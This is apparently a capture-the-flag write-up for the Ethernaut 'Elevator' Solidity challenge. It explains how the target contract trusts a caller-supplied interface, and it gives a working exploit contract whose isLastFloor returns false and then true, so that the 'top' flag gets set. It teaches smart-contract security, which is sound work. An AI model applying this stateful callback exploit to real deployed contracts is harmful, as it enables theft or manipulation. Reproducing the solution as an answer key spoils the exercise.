Ethernaut 11: Elevator
Objective
Get the elevator to be on the last floor. That is, get the top variable to be true.
Code
1interface Building {
2 function isLastFloor(uint256) external returns (bool);
3}
4
5contract Elevator {
6 bool public top;
7 uint256 public floor;
8
9 function goTo(uint256 _floor) public {
10 Building building = Building(msg.sender);
11
12 if (!building.isLastFloor(_floor)) {
13 floor = _floor;
14 top = building.isLastFloor(floor);
15 }
16 }
17}
The idea is:
- if the _floor we want to goTo is the top floor, do nothing
- otherwise, set the state variable floor to the passed _floor
- then, set top to the return value of a new call to building.isLastFloor. But we'd only gotten here if the current isn't the top floor, right?
Solution
This confused me for a bit because there are two calls to the same contract (lines 12, 14) with the same parameters which are expected to return different things.
But then I realized: receiving a parameter doesn't mean I have to do anything with it! So the return value doesn't depend on it in any way, instead MyBuilding.isLastFloor just returns false on its first invocation, and true from then on.
1contract MyBuilding is Building {
2 uint256 private callCount = 0;
3
4 function isLastFloor(uint256) external returns (bool){
5 return callCount++ > 0;
6 }
7
8 function goTo(Elevator elevator) external {
9 elevator.goTo(420);
10 }
11}
Boy I like the smell of a post-increment operator in the morning
Also, note it doesn't even matter what the floor number actually is, since Elevator is agnostic to it and our Building contract does nothing with it.
1function solution(address payable target_) internal override{
2 Elevator target = Elevator(target_);
3 (new MyBuilding()).goTo(target);
4}